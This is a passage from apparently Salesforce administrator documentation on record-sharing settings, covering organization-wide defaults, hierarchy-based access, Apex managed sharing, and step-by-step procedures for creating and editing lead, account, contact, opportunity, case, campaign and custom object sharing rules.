An option on your organization-wide default allows you to ignore the hierarchies when determining access to data. For
more information on this setting, see Controlling Access Using Hierarchies on page 633.
Contacts that are not linked to an account are always private. Only the owner of the contact and administrators can view
it. Contact sharing rules do not apply to private contacts.
Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them
and administrators.
Events marked as private via the Private checkbox are accessible only by the event owner. Other users cannot see the
event details when viewing the event owners calendar. However, users with the View All Data or Modify All Data
permission can see private event details in reports and searches, or when viewing other users calendars.
Users above a record owner in the role hierarchy can only view or edit the record owners records if they have the Read
or Edit object permission for the type of record

Deleting Records

The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above
the record owner, and any user that has been granted Full Access.
If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user
can delete those types of records.

Adding Related Items to a Record

You must have Read/Write access to a record to be able to add notes or attachments to the record.
You must have at least Read access to a record to be able to add activities or other associated records to it.

630

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Adding or Removing Sharing Access Manually

The ability to manually extend the sharing access of individual records is controlled by administrators, the record owner,
users in a role hierarchy above the record owner, and any user that has been granted Full Access. See Sharing Accounts,
Sharing Campaigns, Sharing Contacts, Sharing Opportunities, Sharing Cases, and Sharing Leads.
Changing your sharing model deletes any manual shares your users have created.

User Permissions and Object-Level Permissions


While your sharing model controls visibility to records, user permissions and object-level permissions control what users can
do to those records.

Regardless of the sharing settings, users must have the appropriate object-level permissions. For example, if you share an
account, those users can only see the account if they have the Read permission on accounts. Likewise, users who have
the Edit permission on contacts may still not be able to edit contacts they do not own if they are working in a Private
sharing model.
Administrators, and users with the View All Data or Modify All Data permissions, have access to view or edit all data.

Account Sharing

To restrict users access to records they do not own that are associated with accounts they do own, set the appropriate access
level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with
accounts they do own using the Opportunity Access option.
Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users
can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.

Apex Sharing

You can't change the organization-wide default settings from private to public for a custom object if Apex code uses the
sharing entries associated with that object. For example, if Apex code retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.

Campaign Sharing

In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing.
This simplifies administration and troubleshooting because access can be controlled using sharing and profiles.
Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in
Professional Edition organizations.

To segment visibility between business units while maintaining existing behavior within a business unit:
1. Set the campaign organization-wide default to Private.
2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business
unit.
3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by
users in their business unit.

When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility
between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns
owned by a user and do not allow segmenting visibility.
Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on
your users.

631

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to
campaigns owned by members of the Entire Organization public group.
Minimize the number of sharing rules you need to create by using the Roles and Subordinates option instead of choosing
a specific role.
If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all
the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within
the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy
statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics
fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more
information, see Viewing Campaign Hierarchy Statistics on page 2822.
If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.

Campaign Member Sharing


Campaign member sharing is controlled by campaign sharing rules. Users that can see a campaign can also see associated
campaign members.
Contact Sharing

The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled.
If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.

Price Book Sharing

Sharing on price books controls whether users can add the price book and its products to opportunities.
User permissions control whether users can view, create, edit, and delete price books.

632

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Controlling Access Using Hierarchies


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Territories are not available in Database.com

User Permissions Needed


To set default sharing access:

Manage Users
AND
Customize Application

To change the Grant Access Using Hierarchies


option:

Manage Users
AND
Customize Application

Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access
to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or
territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access
Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not
own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the
Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects.
To control sharing access using hierarchies for any custom object, click Your Name > Setup > Security Controls > Sharing
Settings and Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want
to prevent users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies.
Implementation Notes

Regardless of your organization's sharing settings, users can gain access to records they do not own through other means
such as user permissions like View All Data, sharing rules, or manual sharing of individual records.
The Grant Access Using Hierarchies option is always selected on standard objects and is not editable.
If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only
shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the
hierarchies will not gain access.
If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object
are still visible to users above the activitys assignee in the role hierarchy.
If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is
automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default.
The Grant Access Using Hierarchies option affects which users gain access to data when something is shared
with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group
members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual
sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using
Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access
reasons that depend on the Grant Access Using Hierarchies option.

633

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

These reasons always gain access:


Group Member
Queue Member
Role Member
Member of Subordinate Role
Territory Member
Member of Subordinate Territory
These reasons only gain access when using hierarchies:
Manager of Group Member
Manager of Queue Member
Manager of Role
Manager of Territory
User Role Manager of Territory
Best Practices

When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can
expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list
returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of
report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule
or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down
list return the same results. However, choosing the Activities with... any custom object report type when creating a custom
report returns activities assigned to you as well as your subordinates in the role hierarchy.

See Also:
Sharing Default Access Settings
Setting Your Organization-Wide Sharing Defaults

Creating Apex Sharing Reasons


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create Apex sharing reasons:

Author Apex

To view Apex sharing reasons:

View Setup and Configuration

When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was
implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the
same user or group using different Apex sharing reasons.

634

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.

Salesforce displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in the
user interface. This allows users and administrators to understand the purpose of the sharing.
When working with Apex sharing reasons, note the following:
Only users with the Modify All Data permission can add, edit, or delete sharing that uses an Apex sharing reason.
Deleting an Apex sharing reason will delete all sharing on the object that uses the reason.
You can create up to 10 Apex sharing reasons per custom object.
You can create Apex sharing reasons using the Metadata API. For more information, see theMetadata API Developer's
Guide.

To create an Apex sharing reason:


1.
2.
3.
4.

Click Your Name > Setup > Create > Objects.


Select the custom object.
Click New in the Apex Sharing Reasons related list.
Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record
in the user interface. The label is also enabled for translation through the Translation Workbench.
5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
6. Click Save.

See Also:
Recalculating Apex Managed Sharing
Apex Code Overview
Setting Your Organization-Wide Sharing Defaults
Granting Access to Records

Recalculating Apex Managed Sharing


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To associate an Apex managed sharing recalculation class:

Author Apex

To run an Apex managed sharing recalculation:

Author Apex OR Manage Users

Important: When packaging custom objects, be aware that associated Apex sharing recalculations are also included
and may prevent the package from installing.

635

Security and Sharing

Setting Your Organization-Wide Sharing Defaults

Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents Apex from granting
access to a user as defined by the applications logic. Apex sharing recalculations are also useful for resolving visibility issues
due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records they should
see, the correction might only affect records created after the code update. To ensure the correction applies to existing records
as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using
the Database.executeBatch method. In addition, Salesforce automatically runs Apex recalculation classes defined for a
custom object every time a custom object's organization wide sharing default access level is updated.
Note:
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default
access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are
removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a
user is deleted when the objects sharing model is changed from Private to Public Read Only.
For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide.
To associate an Apex managed sharing recalculation class with a custom object:
1.
2.
3.
4.

Click Your Name > Setup > Create > Objects.


Select the custom object.
Click New in the Apex Sharing Recalculations related list.
Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
5. Click Save.
To run an Apex sharing recalculation:
1. Click Your Name > Setup > Create > Objects.
2. Select the custom object.
3. Click Recalculate Apex Sharing.
When working with Apex sharing recalculations, note the following:

The Apex code that extends the sharing recalculation can process a maximum of five million records. If thisApex code
affects more than five million records, the job fails immediately.
You can monitor the status of Apex sharing recalculations in the Apex job queue.
You can associate a maximum of five Apex sharing recalculations per custom object.
You cannot associate Apex sharing recalculations with standard objects.

See Also:
Creating Apex Sharing Reasons
Apex Code Overview
Setting Your Organization-Wide Sharing Defaults

636

Security and Sharing

Sharing Rules Overview

Sharing Rules Overview


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, opportunity, and custom object sharing rules are available in: Enterprise, Unlimited, and
Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Only custom object sharing rules are available in Database.com

With sharing rules, you can make automatic exceptions to your organization-wide sharing settings for defined sets of users.
For example, use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never
be stricter than your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules.
Type

Based on

Set Default Sharing Access for

Account sharing rules

Account owner or other criteria,


including account record types or field
values

Accounts and their associated contracts,


assets, opportunities, cases, and
optionally, contacts

Account territory sharing rules

Territory assignment

Accounts and their associated cases,


contacts, contracts, and opportunities

Campaign sharing rules

Campaign owner or other criteria,


Individual campaign records
including campaign record types or field
values

Case sharing rules

Case owner or other criteria, including


case record types or field values

Contact sharing rules

Contact owner or other criteria, including Individual contacts and associated


contact record types or field values
accounts

Custom object sharing rules

Custom object owner or other criteria, Individual custom object records


including custom object record types or
field values

Lead sharing rules

Lead owner or other criteria, including


lead record types or field values

Individual leads

Opportunity sharing rules

Opportunity owner or other criteria,


including opportunity record types or
field values

Individual opportunities and their


associated accounts

Individual cases and associated accounts

Note:

You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.

637

Security and Sharing

Sharing Rules Overview

Developers can use Apex to programmatically share custom objects (based on record owners, but not other criteria).

See Also:
Criteria-Based Sharing Rules Overview
Sharing Rule Considerations
Creating Apex Sharing Reasons
Overview of Sharing Settings
About High-Volume Portal Users (Service Cloud Portal Users)

Criteria-Based Sharing Rules Overview


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Accounts, Opportunities, Cases, and Contacts are not available in Database.com

Criteria-based sharing rules determine whom to share records with based on field values in records. For example, let's say you
use a custom object for job applications, with a custom picklist field named Department. You can create a criteria-based
sharing rule that shares all job applications in which the Department field is set to IT with all IT managers in your organization.
Note:

Although criteria-based sharing rules are based on values in the records and not the record owners, a role or territory
hierarchy still allows users higher in the hierarchy to access the records.
Currently, you can't use Apex to create criteria-based sharing rules.
You can use the Metadata API to create criteria-based sharing rules starting in API version 24.0.
You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.

You can create criteria-based sharing rules for accounts, opportunities, cases, contacts, leads, campaigns, and custom objects.
You can create up to 50 criteria-based sharing rules per object.

Record types
These field types:

Auto Number
Checkbox
Date
Date/Time
Email
Number
Percent
Phone
Picklist
Text

638

Security and Sharing

Sharing Rules Overview

Text Area
URL
Lookup Relationship (to user ID or queue ID)
Note: Text and Text Area are case-sensitive. For example, a criteria-based sharing rule that specifies Manager in a
text field won't share records with manager in the field. To create a rule with several common cases of a word, enter
each value separated by a comma.

See Also:
Sharing Rules Overview
Managing Record Types
Custom Field Types
Overview of Roles
Creating Workflow Rules
Managing Apex Triggers

Creating Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Lead sharing rules are based on the record owner or on other criteria, including record type and certain field values. You can
define up to 300 lead sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Lead Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.

639

Security and Sharing

Sharing Rules Overview

Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview

Creating Account Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Account sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 account sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).

640

Security and Sharing

Sharing Rules Overview

Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the

sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select a setting for Default Account, Contract and Asset Access.
9. In the remaining fields, select the access settings for the records associated with the shared accounts.
Access Setting

Description

Private

Users can't view or update records, unless access is granted


outside of this sharing rule.

(available for associated contacts, opportunities, and cases


only)
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

10. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria

Creating Account Territory Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Account territory sharing rules are based on territory assignment. You can define up to 300 account territory sharing rules.

641

Security and Sharing

1.
2.
3.
4.
5.
6.
7.
8.

Sharing Rules Overview

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Territory Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
In the Accounts in Territory line, select Territories or Territories and Subordinates from the first drop-down list and a
territory from the second drop-down list.
In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
Select a setting for Default Account, Contract and Asset Access.
In the remaining fields, select the access setting for the records associated with the shared account territories.
Access Setting

Description

Private

Users can't view or update records, unless access is granted


outside of this sharing rule.

(available for associated contacts, opportunities, and cases


only)
Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Note: Contact Access isn't available if the organization-wide default for contacts is set to Controlled by Parent.

9. Click Save.

See Also:
Creating and Editing Groups
Territory Management Overview
Sharing Rules Overview

Creating Contact Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Contact sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 contact sharing rules, including up to 50 criteria-based sharing rules.

642

Security and Sharing

Sharing Rules Overview

1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Contact Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria

643

Security and Sharing

Sharing Rules Overview

Creating Opportunity Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Opportunity sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 opportunity sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Opportunity Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users. For owner-based rules or criteria-based rules with ownership as criteria, the
Opportunity Access level applies to opportunities owned by the group, role, or territory members, regardless of the
associated account.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

644

Security and Sharing

Sharing Rules Overview

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria

Creating Case Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Case sharing rules can be based on the record owner or on other criteria, including record type and certain field values. You
can define up to 300 case sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Case Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.

645

Security and Sharing

Sharing Rules Overview

Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria

Creating Campaign Sharing Rules


Available in: Professional Edition for an additional cost, and Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create sharing rules:

Manage Users

Campaign sharing rules can be based on the record owner or on other criteria, including record type and certain field values.
You can define up to 300 campaign sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Campaign Sharing Rules related list, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).
Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the
sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

646

Security and Sharing

Sharing Rules Overview

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

Full Access

Any user in the selected group, role, or territory can view, edit, transfer, delete,
and share the record, just like the record's owner.
With a Full Access sharing rule, users can also view, edit, delete, and close
activities associated with the record if the organization-wide sharing setting for
activities is Controlled by Parent.

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview

Creating Custom Object Sharing Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create sharing rules:

Manage Users

Custom object sharing rules can be based on the record owner or on other criteria, including record type and certain field
values. You can define up to 300 custom object sharing rules, including up to 50 criteria-based sharing rules.
1.
2.
3.
4.

If you plan to include public groups in your sharing rule, confirm that the appropriate groups have been created.
Click Your Name > Setup > Security Controls > Sharing Settings.
In the Sharing Rules related list for the custom object, click New.
Enter the Label and Rule Name. The Label is the sharing rule label as it appears on the user interface. The Rule Name is
a unique name used by the API and managed packages.
5. Select a rule type.
6. Depending on the rule type you selected, do the following:

Based on record ownerIn the owned by members of line, specify the users whose records will be shared:

select a category from the first drop-down list and a set of users from the second drop-down list (or lookup field, if
your organization has over 200 queues, groups, roles, or territories).

647

Security and Sharing

Sharing Rules Overview

Based on criteriaSpecify the Field, Operator, and Value criteria that records must match to be included in the

sharing rule. The fields available depend on the object selected, and the value is always a literal number or string. Click
Add Filter Logic... to change the default AND relationship between each filter.
Note: To use a field that's not supported by criteria-based sharing rules, you can create a workflow rule or
Apex trigger to copy the value of the field into a text or numeric field, and use that field as the criterion.

7. In the Share with line, specify the users who should have access to the data: select a category from the first drop-down
list and a set of users from the second drop-down list or lookup field.
8. Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

9. Click Save.

See Also:
Creating and Editing Groups
Sharing Rules Overview
Criteria-Based Sharing Rules Overview
Entering Filter Criteria

Sharing Rule Categories


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity, sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in: Enterprise, Unlimited, Developer, and Database.com Editions.
Partner Portals and Customer Portals are not available in Database.com

When you define a sharing rule, you can choose from the following categories in the owned by members of and Share
with drop-down lists. Depending on the type of sharing rule and the features enabled for your organization, some categories
may not appear.
Note: You can't include high-volume portal users in sharing rules because they don't have roles and can't be in public
groups.

648

Security and Sharing

Sharing Rules Overview

Category

Description

Queues

All records owned by the queue, excluding records owned by individual members of the
queue. Available only in the owned by members of list.

Public Groups

All public groups defined by your administrator.


If a partner portal or Customer Portal is enabled for your organization, the All Partner
Users or All Customer Portal Users group displays. These groups includes all users allowed
to access your partner portal or Customer Portal, except for high-volume portal users.

Roles

All roles defined for your organization. This includes all of the users in the specified role.

Portal Roles

All roles defined for your organization's partner portal or Customer Portal. This includes
all users in the specified portal role, except high-volume portal users.
A portal role name includes the name of the account that it's associated with, except for
person accounts, which include the user Alias.

Roles and Subordinates

All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles that contain users with a portal license type.
Portal roles are only included in this category if a partner portal or Customer Portal is
enabled for your organization.
The Roles, Internal and Portal Subordinates data set category is only available in your
organization after you create at least one role in the role hierarchy.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or Customer Portal. This includes
all of the users in the specified portal role plus all of the users below that role in the portal
role hierarchy, except for high-volume portal users.
A portal role name includes the name of the account that it's associated with, except for
person accounts, which include the user Alias.

Roles and Internal Subordinates

All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, excluding partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.

Roles, Internal and Portal


Subordinates

All roles defined for your organization. This includes all of the users in the specified role
plus all of the users in roles below that role, including partner portal and Customer Portal
roles.
This category only displays if a partner portal or Salesforce Customer Portal is enabled
for your organization.
The Roles and Internal Subordinates data set category is only available in your organization
after you create at least one role in the role hierarchy and enable a portal.

649

Security and Sharing

Sharing Rules Overview

Category

Description

Territories

All territories defined for your organization.

Territories and Subordinates

All territories defined for your organization. This includes the specified territory plus all
territories below it.

See Also:
Creating and Editing Groups
Overview of Roles
Territory Management Overview
Partner Portal Overview
Setting Up Your Customer Portal

Editing Lead Sharing Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For lead sharing rules, you can edit the sharing access settings, but no other settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Lead Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
Select the sharing access setting for users.
Access Setting

Description

Read Only

Users can view, but not update, records.

Read/Write

Users can view and update records.

5. Click Save.

See Also:
Sharing Rules Overview

650

Security and Sharing

Sharing Rules Overview

Editing Account Sharing Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit sharing rules:

Manage Users

For sharing rules that are based on owner, you can edit only the sharing access settings. For sharing rules that are based on
other criteria, you can edit the criteria and sharing access settings.
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Sharing Settings.
In the Account Sharing Rules related list, click Edit next to the rule you want to change.
Change the Label and Rule Name if desired.
If you selected a rule that's based on owner, skip to the next step.
If you selected a rule that's based on criteria, specify the criteria that records must match to be included in the sharing rule.
The fields available depend on the object selected, and the value must be a literal number or string. Click Add Filter
Logic... to change the default AND relationship between each filter.

5. Select a setting for Default Account, Contract and Asset Access.


6. In the remaining fields, select the access settings for the records associated with the shared accounts.
Access Setting

Description

Private

Users can't view or update records, unless access is granted


